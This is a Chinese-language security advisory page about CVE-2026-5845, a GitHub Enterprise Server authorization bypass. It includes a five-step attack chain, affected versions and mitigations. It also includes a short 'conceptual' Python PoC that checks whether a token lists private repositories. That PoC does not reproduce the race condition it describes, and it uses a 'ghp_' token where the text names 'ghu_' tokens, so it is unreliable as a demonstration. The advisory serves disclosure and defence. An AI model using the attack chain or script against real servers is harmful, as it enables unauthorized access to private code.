IPBUF安全漏洞报告
English
CVE-2026-5845 CVSS 9.6 严重

CVE-2026-5845 GitHub Enterprise Server 权限绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-5845
漏洞类型
权限绕过
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

权限绕过GitHub Enterprise Server授权不当CVE-2026-5845

漏洞概述

GitHub Enterprise Server存在权限绕过漏洞。由于作用域用户到服务器令牌授权不当,经过身份验证的攻击者可利用授权回退机制,将已撤销或删除的安装视为全局安装上下文,从而访问预期范围之外的私有仓库并执行写入操作。

技术细节

该漏洞源于GitHub Enterprise Server在处理作用域用户到服务器(ghu_)令牌时的授权逻辑缺陷。当应用安装被撤销或删除时,系统存在一个授权回退机制,错误地将该上下文视为全局安装上下文。攻击者可以利用这一缺陷,结合令牌撤销的时间窗口竞争条件以及SSH推送归因技术,获取受害者的作用域令牌并重放使用。这使得攻击者能够绕过原有的访问控制限制,访问预期安装范围之外的私有仓库,并可能执行写入操作,造成敏感数据泄露或代码篡改。

攻击链分析

STEP 1
侦察与识别
攻击者确认目标运行的是受影响版本的GitHub Enterprise Server。
STEP 2
触发授权回退
攻击者通过特定操作导致应用安装被撤销或删除,触发系统的授权回退机制。
STEP 3
利用时序竞争
攻击者利用令牌撤销的时间窗口和SSH推送归因技术,捕获或重用受害者的作用域令牌。
STEP 4
提升权限
系统将令牌视为全局安装上下文,攻击者利用该令牌访问超出预期范围的私有仓库。
STEP 5
数据窃取或篡改
攻击者对获取访问权限的私有仓库执行读取或写入操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-5845 Demonstrates checking if a scoped token acts as global due to authorization fallback. """ import requests TARGET = "https://your-ghe-instance.com/api/v3/user/repos" # Token from a revoked/deleted installation that might fallback to global TOKEN = "ghp_example_revoked_token" def check_access(): headers = { "Authorization": f"token {TOKEN}", "Accept": "application/vnd.github.v3+json" } print(f"[*] Attempting to list repositories using token: {TOKEN[:10]}...") try: r = requests.get(TARGET, headers=headers, verify=False) if r.status_code == 200: repos = r.json() print(f"[+] Success! Token has access to {len(repos)} repositories.") for repo in repos: if repo.get('private'): print(f" [!] Private Repo: {repo['full_name']}") else: print(f"[-] Failed. Status Code: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_access()

影响范围

GitHub Enterprise Server < 3.21
GitHub Enterprise Server 3.20.x < 3.20.1
GitHub Enterprise Server 3.19.x < 3.19.5
GitHub Enterprise Server 3.18.x < 3.18.8
GitHub Enterprise Server 3.17.x < 3.17.14
GitHub Enterprise Server 3.16.x < 3.16.17
GitHub Enterprise Server 3.15.x < 3.15.21
GitHub Enterprise Server 3.14.x < 3.14.26

防御指南

临时缓解措施
如果无法立即升级,管理员应严格监控SSH密钥活动,并撤销所有不必要的用户到服务器应用授权。同时,应限制低权限用户的网络访问能力,以降低潜在的攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表